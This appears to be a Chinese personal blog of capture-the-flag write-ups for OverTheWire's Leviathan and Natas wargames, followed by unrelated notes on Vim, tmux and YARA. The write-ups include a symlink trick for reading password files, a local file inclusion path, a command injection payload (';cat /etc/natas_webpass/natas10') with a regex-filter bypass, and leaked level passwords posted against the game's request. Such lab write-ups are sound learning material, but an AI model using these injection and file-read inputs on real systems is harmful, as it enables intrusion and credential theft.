putchar(10, 0x804a008, 0xf7c184be, 0xf7fbe4a0EKKlTF1Xqs
) = 10
fgetc(0x804d1a0) = '\377'
feof(0x804d1a0) = 1
fclose(0x804d1a0) = 0
getuid() = 12005
setuid(12005) = 0
unlink("/tmp/file.log") = 0
+++ exited (status 0) +++
leviathan5@gibson:~$
那还是软连接就解决了
leviathan5@gibson:~$ ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log
leviathan5@gibson:~$ ./leviathan5
YZ55XPVk2l
leviathan5@gibson:~$
level7
leviathan6@gibson:~$ ./leviathan6
usage: ./leviathan6 <4 digit code>
leviathan6@gibson:~$ ltrace ./leviathan6
__libc_start_main(0x80491d6, 1, 0xffffd504, 0 <unfinished ...>
printf("usage: %s <4 digit code>\n", "./leviathan6"usage: ./leviathan6 <4 digit code>
) = 35
exit(-1 <no return ...>
+++ exited (status 255) +++
leviathan6@gibson:~$ ltrace ./leviathan6 1234
__libc_start_main(0x80491d6, 2, 0xffffd4e4, 0 <unfinished ...>
atoi(0xffffd668, 0xf7fd6f80, 0xf7c184be, 0xf7fbe4a0) = 1234
puts("Wrong"Wrong
) = 6
+++ exited (status 0) +++
很好,又要看汇编了
leviathan6@gibson:~$ objdump -d leviathan6
leviathan6: file format elf32-i386
Disassembly of section .init:
08049000 <_init>:
8049000: f3 0f 1e fb endbr32
8049004: 53 push %ebx
8049005: 83 ec 08 sub $0x8,%esp
8049008: e8 03 01 00 00 call 8049110 <__x86.get_pc_thunk.bx>
804900d: 81 c3 f3 2f 00 00 add $0x2ff3,%ebx
8049013: 8b 83 fc ff ff ff mov -0x4(%ebx),%eax
8049019: 85 c0 test %eax,%eax
804901b: 74 02 je 804901f <_init+0x1f>
804901d: ff d0 call *%eax
804901f: 83 c4 08 add $0x8,%esp
8049022: 5b pop %ebx
8049023: c3 ret
Disassembly of section .plt:
08049030 <__libc_start_main@plt-0x10>:
8049030: ff 35 04 c0 04 08 push 0x804c004
8049036: ff 25 08 c0 04 08 jmp *0x804c008
804903c: 00 00 add %al,(%eax)
...
08049040 <__libc_start_main@plt>:
8049040: ff 25 0c c0 04 08 jmp *0x804c00c
8049046: 68 00 00 00 00 push $0x0
804904b: e9 e0 ff ff ff jmp 8049030 <_init+0x30>
08049050 <printf@plt>:
8049050: ff 25 10 c0 04 08 jmp *0x804c010
8049056: 68 08 00 00 00 push $0x8
804905b: e9 d0 ff ff ff jmp 8049030 <_init+0x30>
08049060 <geteuid@plt>:
8049060: ff 25 14 c0 04 08 jmp *0x804c014
8049066: 68 10 00 00 00 push $0x10
804906b: e9 c0 ff ff ff jmp 8049030 <_init+0x30>
08049070 <puts@plt>:
8049070: ff 25 18 c0 04 08 jmp *0x804c018
8049076: 68 18 00 00 00 push $0x18
804907b: e9 b0 ff ff ff jmp 8049030 <_init+0x30>
08049080 <system@plt>:
8049080: ff 25 1c c0 04 08 jmp *0x804c01c
8049086: 68 20 00 00 00 push $0x20
804908b: e9 a0 ff ff ff jmp 8049030 <_init+0x30>
08049090 <exit@plt>:
8049090: ff 25 20 c0 04 08 jmp *0x804c020
8049096: 68 28 00 00 00 push $0x28
804909b: e9 90 ff ff ff jmp 8049030 <_init+0x30>
080490a0 <setreuid@plt>:
80490a0: ff 25 24 c0 04 08 jmp *0x804c024
80490a6: 68 30 00 00 00 push $0x30
80490ab: e9 80 ff ff ff jmp 8049030 <_init+0x30>
080490b0 <atoi@plt>:
80490b0: ff 25 28 c0 04 08 jmp *0x804c028
80490b6: 68 38 00 00 00 push $0x38
80490bb: e9 70 ff ff ff jmp 8049030 <_init+0x30>
Disassembly of section .text:
080490c0 <_start>:
80490c0: f3 0f 1e fb endbr32
80490c4: 31 ed xor %ebp,%ebp
80490c6: 5e pop %esi
80490c7: 89 e1 mov %esp,%ecx
80490c9: 83 e4 f0 and $0xfffffff0,%esp
80490cc: 50 push %eax
80490cd: 54 push %esp
80490ce: 52 push %edx
80490cf: e8 19 00 00 00 call 80490ed <_start+0x2d>
80490d4: 81 c3 2c 2f 00 00 add $0x2f2c,%ebx
80490da: 6a 00 push $0x0
80490dc: 6a 00 push $0x0
80490de: 51 push %ecx
80490df: 56 push %esi
80490e0: c7 c0 d6 91 04 08 mov $0x80491d6,%eax
80490e6: 50 push %eax
80490e7: e8 54 ff ff ff call 8049040 <__libc_start_main@plt>
80490ec: f4 hlt
80490ed: 8b 1c 24 mov (%esp),%ebx
80490f0: c3 ret
80490f1: 66 90 xchg %ax,%ax
80490f3: 66 90 xchg %ax,%ax
80490f5: 66 90 xchg %ax,%ax
80490f7: 66 90 xchg %ax,%ax
80490f9: 66 90 xchg %ax,%ax
80490fb: 66 90 xchg %ax,%ax
80490fd: 66 90 xchg %ax,%ax
80490ff: 90 nop
08049100 <_dl_relocate_static_pie>:
8049100: f3 0f 1e fb endbr32
8049104: c3 ret
8049105: 66 90 xchg %ax,%ax
8049107: 66 90 xchg %ax,%ax
8049109: 66 90 xchg %ax,%ax
804910b: 66 90 xchg %ax,%ax
804910d: 66 90 xchg %ax,%ax
804910f: 90 nop
08049110 <__x86.get_pc_thunk.bx>:
8049110: 8b 1c 24 mov (%esp),%ebx
8049113: c3 ret
8049114: 66 90 xchg %ax,%ax
8049116: 66 90 xchg %ax,%ax
8049118: 66 90 xchg %ax,%ax
804911a: 66 90 xchg %ax,%ax
804911c: 66 90 xchg %ax,%ax
804911e: 66 90 xchg %ax,%ax
08049120 <deregister_tm_clones>:
8049120: b8 34 c0 04 08 mov $0x804c034,%eax
8049125: 3d 34 c0 04 08 cmp $0x804c034,%eax
804912a: 74 24 je 8049150 <deregister_tm_clones+0x30>
804912c: b8 00 00 00 00 mov $0x0,%eax
8049131: 85 c0 test %eax,%eax
8049133: 74 1b je 8049150 <deregister_tm_clones+0x30>
8049135: 55 push %ebp
8049136: 89 e5 mov %esp,%ebp
8049138: 83 ec 14 sub $0x14,%esp
804913b: 68 34 c0 04 08 push $0x804c034
8049140: ff d0 call *%eax
8049142: 83 c4 10 add $0x10,%esp
8049145: c9 leave
8049146: c3 ret
8049147: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
804914e: 66 90 xchg %ax,%ax
8049150: c3 ret
8049151: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
8049158: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
804915f: 90 nop
08049160 <register_tm_clones>:
8049160: b8 34 c0 04 08 mov $0x804c034,%eax
8049165: 2d 34 c0 04 08 sub $0x804c034,%eax
804916a: 89 c2 mov %eax,%edx
804916c: c1 e8 1f shr $0x1f,%eax
804916f: c1 fa 02 sar $0x2,%edx
8049172: 01 d0 add %edx,%eax
8049174: d1 f8 sar %eax
8049176: 74 20 je 8049198 <register_tm_clones+0x38>
8049178: ba 00 00 00 00 mov $0x0,%edx
804917d: 85 d2 test %edx,%edx
804917f: 74 17 je 8049198 <register_tm_clones+0x38>
8049181: 55 push %ebp
8049182: 89 e5 mov %esp,%ebp
8049184: 83 ec 10 sub $0x10,%esp
8049187: 50 push %eax
8049188: 68 34 c0 04 08 push $0x804c034
804918d: ff d2 call *%edx
804918f: 83 c4 10 add $0x10,%esp
8049192: c9 leave
8049193: c3 ret
8049194: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
8049198: c3 ret
8049199: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
080491a0 <__do_global_dtors_aux>:
80491a0: f3 0f 1e fb endbr32
80491a4: 80 3d 34 c0 04 08 00 cmpb $0x0,0x804c034
80491ab: 75 1b jne 80491c8 <__do_global_dtors_aux+0x28>
80491ad: 55 push %ebp
80491ae: 89 e5 mov %esp,%ebp
80491b0: 83 ec 08 sub $0x8,%esp
80491b3: e8 68 ff ff ff call 8049120 <deregister_tm_clones>
80491b8: c6 05 34 c0 04 08 01 movb $0x1,0x804c034
80491bf: c9 leave
80491c0: c3 ret
80491c1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80491c8: c3 ret
80491c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
080491d0 <frame_dummy>:
80491d0: f3 0f 1e fb endbr32
80491d4: eb 8a jmp 8049160 <register_tm_clones>
080491d6 <main>:
80491d6: 8d 4c 24 04 lea 0x4(%esp),%ecx
80491da: 83 e4 f0 and $0xfffffff0,%esp
80491dd: ff 71 fc push -0x4(%ecx)
80491e0: 55 push %ebp
80491e1: 89 e5 mov %esp,%ebp
80491e3: 53 push %ebx
80491e4: 51 push %ecx
80491e5: 83 ec 10 sub $0x10,%esp
80491e8: 89 c8 mov %ecx,%eax
80491ea: c7 45 f4 d3 1b 00 00 movl $0x1bd3,-0xc(%ebp)
80491f1: 83 38 02 cmpl $0x2,(%eax)
80491f4: 74 20 je 8049216 <main+0x40>
80491f6: 8b 40 04 mov 0x4(%eax),%eax
80491f9: 8b 00 mov (%eax),%eax
80491fb: 83 ec 08 sub $0x8,%esp
80491fe: 50 push %eax
80491ff: 68 08 a0 04 08 push $0x804a008
8049204: e8 47 fe ff ff call 8049050 <printf@plt>
8049209: 83 c4 10 add $0x10,%esp
804920c: 83 ec 0c sub $0xc,%esp
804920f: 6a ff push $0xffffffff
8049211: e8 7a fe ff ff call 8049090 <exit@plt>
8049216: 8b 40 04 mov 0x4(%eax),%eax
8049219: 83 c0 04 add $0x4,%eax
804921c: 8b 00 mov (%eax),%eax
804921e: 83 ec 0c sub $0xc,%esp
8049221: 50 push %eax
8049222: e8 89 fe ff ff call 80490b0 <atoi@plt>
8049227: 83 c4 10 add $0x10,%esp
804922a: 39 45 f4 cmp %eax,-0xc(%ebp)
804922d: 75 2b jne 804925a <main+0x84>
804922f: e8 2c fe ff ff call 8049060 <geteuid@plt>
8049234: 89 c3 mov %eax,%ebx
8049236: e8 25 fe ff ff call 8049060 <geteuid@plt>
804923b: 83 ec 08 sub $0x8,%esp
804923e: 53 push %ebx
804923f: 50 push %eax
8049240: e8 5b fe ff ff call 80490a0 <setreuid@plt>
8049245: 83 c4 10 add $0x10,%esp
8049248: 83 ec 0c sub $0xc,%esp
804924b: 68 22 a0 04 08 push $0x804a022
8049250: e8 2b fe ff ff call 8049080 <system@plt>
8049255: 83 c4 10 add $0x10,%esp
8049258: eb 10 jmp 804926a <main+0x94>
804925a: 83 ec 0c sub $0xc,%esp
804925d: 68 2a a0 04 08 push $0x804a02a
8049262: e8 09 fe ff ff call 8049070 <puts@plt>
8049267: 83 c4 10 add $0x10,%esp
804926a: b8 00 00 00 00 mov $0x0,%eax
804926f: 8d 65 f8 lea -0x8(%ebp),%esp
8049272: 59 pop %ecx
8049273: 5b pop %ebx
8049274: 5d pop %ebp
8049275: 8d 61 fc lea -0x4(%ecx),%esp
8049278: c3 ret
Disassembly of section .fini:
0804927c <_fini>:
804927c: f3 0f 1e fb endbr32
8049280: 53 push %ebx
8049281: 83 ec 08 sub $0x8,%esp
8049284: e8 87 fe ff ff call 8049110 <__x86.get_pc_thunk.bx>
8049289: 81 c3 77 2d 00 00 add $0x2d77,%ebx
804928f: 83 c4 08 add $0x8,%esp
8049292: 5b pop %ebx
8049293: c3 ret
还是movl这一句找立即数
80491ea: c7 45 f4 d3 1b 00 00 movl $0x1bd3,-0xc(%ebp)
0x1bd3换算一下是7123 然后得到密码
leviathan6@gibson:~$ ./leviathan6 7123
$ cat /etc/leviathan_pass/leviathan7
8GpZ5f8Hze
$
进彩蛋
leviathan7@gibson:~$ ll
total 24
drwxr-xr-x 2 root root 4096 Apr 23 18:05 ./
drwxr-xr-x 83 root root 4096 Apr 23 18:06 ../
-rw-r--r-- 1 root root 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 root root 3771 Jan 6 2022 .bashrc
-r--r----- 1 leviathan7 leviathan7 178 Apr 23 18:05 CONGRATULATIONS
-rw-r--r-- 1 root root 807 Jan 6 2022 .profile
leviathan7@gibson:~$ cat CONGRATULATIONS
Well Done, you seem to have used a *nix system before, now try something more serious.
(Please don't post writeups, solutions or spoilers about the games on the web. Thank you!)
leviathan7@gibson:~$
这玩意儿,里面有大量的东西可不是linux操作啊,这里面有阅读汇编的内容的事儿,可底层。。。
被骗的很惨啊,这里面要会的linux是不是指RHCA那种,那可真屌
咋回事儿,人家不让传答案,az,反正我没啥流量,就传了吧。。。
level0
直接登录,然后查看网页源代码
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas0", "pass": "natas0" };</script></head>
<body>
<h1>natas0</h1>
<div id="content">
You can find the password for the next level on this page.
<!--The password for natas1 is g9D9cREhslqBKtcA2uocGHPfMZVzeFK6 -->
</div>
</body>
</html>
level1
不让右键了
那就按F12啊
<!--The password for natas2 is h4ubbcXrWqsTo7GGnnUMLppXbOogfBZ7 -->
level2
说啥也没有
还是看源码
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas2", "pass": "h4ubbcXrWqsTo7GGnnUMLppXbOogfBZ7" };</script></head>
<body>
<h1>natas2</h1>
<div id="content">
There is nothing on this page
<img src="files/pixel.png">
</div>
</body></html>
有个图片,点进去看,进父目录
http://natas2.natas.labs.overthewire.org/files/
得到密码
# username:password
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:G6ctbMJ5Nb4cbFwhpMPSvxGHhQ7I6W8Q
eve:zo4mJWyNj2
mallory:9urtcpzBmH
level3
源代码啥也没有,很G
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas3", "pass": "G6ctbMJ5Nb4cbFwhpMPSvxGHhQ7I6W8Q" };</script></head>
<body>
<h1>natas3</h1>
<div id="content">
There is nothing on this page
<!-- No more information leaks!! Not even Google will find it this time... -->
</div>
</body></html>
谷歌搜不到?我必应来搜!
进去是一个和level2一样的界面,解决了。。。
natas4:tKOcJIbzM4lTs8hbCmzn5Zr4434fGZQm
这个题需要知道site:
这个高级搜索用法
level4
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas4", "pass": "tKOcJIbzM4lTs8hbCmzn5Zr4434fGZQm" };</script></head>
<body>
<h1>natas4</h1>
<div id="content">
Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"
<br/>
<div id="viewsource"><a href="index.php">Refresh page</a></div>
</div>
</body>
</html>
然后一条命令解决
C:\Users\>curl -e "http://natas5.natas.labs.overthewire.org/" -u natas4:tKOcJIbzM4lTs8hbCmzn5Zr4434fGZQm "http://natas4.natas.labs.overthewire.org/"
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas4", "pass": "tKOcJIbzM4lTs8hbCmzn5Zr4434fGZQm" };</script></head>
<body>
<h1>natas4</h1>
<div id="content">
Access granted. The password for natas5 is Z0NsrtIkJoKALBCLi5eqFfcRN82Au2oD
<br/>
<div id="viewsource"><a href="index.php">Refresh page</a></div>
</div>
</body>
</html>
C:\Users\>
另一种方法则是使用burpsuite,自己发包
level5
发现需要cookie
那么随便改改也就解决了
Access granted. The password for natas6 is fOIvE0MDtPTgRhqmmvvAOt2EfXR6uQgR
level6
进来可以看源代码
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas6", "pass": "<censored>" };</script></head>
<body>
<h1>natas6</h1>
<div id="content">
<?
include "includes/secret.inc";
if(array_key_exists("submit", $_POST)) {
if($secret == $_POST['secret']) {
print "Access granted. The password for natas7 is <censored>";
} else {
print "Wrong secret";
}
}
?>
<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
这里与密钥有一个是否相同的判断,那么直接访问那个网址includes/secret.inc
,得到密钥
<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>
然后输入,得到密码
Access granted. The password for natas7 is jmxSiH3SP6Sonf8dv66ng8v1cIEdjXWr
level7
登录后源码
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas7", "pass": "jmxSiH3SP6Sonf8dv66ng8v1cIEdjXWr" };</script></head>
<body>
<h1>natas7</h1>
<div id="content">
<a href="index.php?page=home">Home</a>
<a href="index.php?page=about">About</a>
<br>
<br>
<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
</div>
</body>
</html>
这个提示,很有这个网站的风格。。。
# 访问网址http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8
# 密钥
a6bZCNYwdKqN5cGP11ZdtPg0iImQQhAB
level8
核心在下边儿
<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}
if(array_key_exists("submit", $_POST)) {
if(encodeSecret($_POST['secret']) == $encodedSecret) {
print "Access granted. The password for natas9 is <censored>";
} else {
print "Wrong secret";
}
}
?>
strrev函数的说明,就是反转字符串。
因此,建议找一些在线小工具做下面的操作
<?php
echo base64_decode(strrev(hex2bin("3d3d516343746d4d6d6c315669563362")));
?>
输出结果后,得到密钥
Access granted. The password for natas9 is Sda6t0vkOPkM8YeOZkAGVhFoaplvlJFd
level9
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
passthru("grep -i $key dictionary.txt");
}
?>
直接命令注入
输入;cat /etc/natas_webpass/natas10
得到密钥
D44EcsFkLxPIkAAKLosx8z3hxX1Z4MCE
level10
他们学聪明了
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}
}
?>
就是写正则,水的
[a-zA-Z] /etc/natas_webpass/natas11 #
[[:alpha:]] /etc/natas_webpass/natas11 #
1KFqoJXi6hRaPluAmk8ESDW4fSysRoIg
level11
代码审计工作如下:
<?
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = '<censored>';
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
function loadData($def) {
global $_COOKIE;
$mydata = $def;
if(array_key_exists("data", $_COOKIE)) {
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
$mydata['showpassword'] = $tempdata['showpassword'];
$mydata['bgcolor'] = $tempdata['bgcolor'];
}
}
}
return $mydata;
}
function saveData($d) {
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}
$data = loadData($defaultdata);
if(array_key_exists("bgcolor",$_REQUEST)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
$data['bgcolor'] = $_REQUEST['bgcolor'];
}
}
saveData($data);
?>
level12
level13
level14
level15
level16
level17
level18
level19
level20
level21
level21
level23
level24
level25
level26
level27
level28
level29
level30
level31
level32
level33
WHY I WRITE THIS?
在pwn.college之中,反正由于我网不行,那个图形化界面儿我特别卡,我基本上能不用我就不用,一开始搞那个wireshark差点儿卡破防了。另外一个原因我写在了cse365的wp里面,就是涉及到只有在同一个进程下才能监听这件事。因此,tmux和vim又提上日程了。当然,最重要的原因是,我希望把vim搞成一个好用的IDE。
TMUX
Vim实用技巧
这本书应该反复看、反复看、反复看!
basic
首先你需要会一些基础性的操作
技巧1
使用.
命令来重复
技巧2
很多Vim的单键命令都可以被看成两个或多个其他命令的组合
技巧3
f查找,s删除,分号会继续查找
技巧4
目的 | 操作 | 重复 | 回退 |
---|---|---|---|
做出一个修改 | {edit} | . | u |
在行内查找下一指定字符 | f{char}/t{char} | ; | , |
在行内查找上一指定字符 | F{char}/T{char} | ; | , |
在文档中查找下一处匹配项 | /pattern | n | N |
在文档中查找上一处匹配项 | ?pattern | n | N |
执行替换 | :s/target/replacement | & | u |
执行一系列修改 | qx{changes}q | @x | u |
技巧5
按*
搜索,c是修改
Vim 从入门到精通
vim哲学
减少认识负荷并帮助人们专注于实际任务
缓冲区,窗口,标签
缓冲区是工作的地方,窗口是缓冲区的视窗,标签是窗口的集合。
已激活、已载入、已列出、已命名的缓冲区
用类似 vim file1 的命令启动 Vim 。这个文件的内容将会被加载到缓冲区中,你现在有一个已载入的缓冲区。如果你在 Vim 中保存这个文件,缓冲区内容将会被同步到磁盘上(写回文件中)。
由于这个缓冲区也在一个窗口上显示,所以他也是一个已激活的缓冲区。如果你现在通过 :e file2 命令加载另一个文件,file1 将会变成一个隐藏的缓冲区,并且 file2 变成已激活缓冲区。
使用 :ls 我们能够列出所有可以列出的缓冲区。插件缓冲区和帮助缓冲区通常被标记为不可以列出的缓冲区,因为那并不是你经常需要在编辑器中编辑的常规文件。通过 :ls! 命令可以显示被放入缓冲区列表的和未被放入列表的缓冲区。
未命名的缓冲区是一种没有关联特定文件的缓冲区,这种缓冲区经常被插件使用。比如 :enew 将会创建一个无名临时缓冲区。添加一些文本然后使用 :w /tmp/foo 将他写入到磁盘,这样这个缓冲区就会变成一个已命名的缓冲区。
寄存器
类型 | 标识 | 读写者 | 是否为只读 | 包含的字符来源 |
---|---|---|---|---|
Unnamed | " | vim | 否 | 最近一次的复制或删除操作 (d , c , s , x , y ) |
Numbered | 0 至9 | vim | 否 | 寄存器 0 : 最近一次复制。寄存器 1 : 最近一次删除。寄存器 2 : 倒数第二次删除,以此类推。对于寄存器 1 至 9 ,他们其实是只读的最多包含 9 个元素的队列。这里的队列即为数据类型 queue |
Small delete | - | vim | 否 | 最近一次行内删除 |
Named | a 至z , A 至Z | 用户 | 否 | 如果你通过复制操作存储文本至寄存器 a ,那么 a 中的文本就会被完全覆盖。如果你存储至 A ,那么会将文本添加给寄存器 a ,不会覆盖之前已有的文本 |
Read-only | : 与. 和% | vim | 是 | : : 最近一次使用的命令,. : 最近一次添加的文本,% : 当前的文件名 |
Alternate buffer | # | vim | 否 | 大部分情况下,这个寄存器是当前窗口中,上一次访问的缓冲区。请参阅 :h alternate-file 来获取更多帮助 |
Expression | = | 用户 | 否 | 复制 VimL 代码时,这个寄存器用于存储代码片段的执行结果。比如,在插入模式下复制 <c-r>=5+5<cr> ,那么这个寄存器就会存入 10 |
Selection | + 和* | vim | 否 | * 和 + 是 剪贴板 寄存器 |
Drop | ~ | vim | 是 | 最后一次拖拽添加至 Vim 的文本(需要 “+dnd” 支持,暂时只支持 GTK GUI。请参阅 :help dnd 及 :help quote~ ) |
Black hole | _ | vim | 否 | 一般称为黑洞寄存器。对于当前操作,如果你不希望在其他寄存器中保留文本,那就在命令前加上 _ 。比如,"_dd 命令不会将文本放到寄存器 " 、1 、+ 或 * 中 |
Last search pattern | / | vim | 否 | 最近一次通过 / 、? 或 :global 等命令调用的匹配条件 |
十分有用!!! |
范围
熟练使用范围,可以操作得很快
比如逗号分号表示的范围。
补全
ctrl+x
yara
yara引擎,是一个规则匹配的工具。
好处在于其可以通过简单的编写规则来识别恶意代码,并且可以在各个平台下使用。
yara规则
Each rule in YARA starts with the keyword rule followed by a rule identifier.
Rules are generally composed of two sections: strings definition and condition. The strings definition section can be omitted if the rule doesn’t rely on any string, but the condition section is always required.
There are three types of strings in YARA: hexadecimal strings, text strings and regular expressions.
Starting with version 4.3.0, you may specify that a byte is not a specific value.
use jumps
regular expression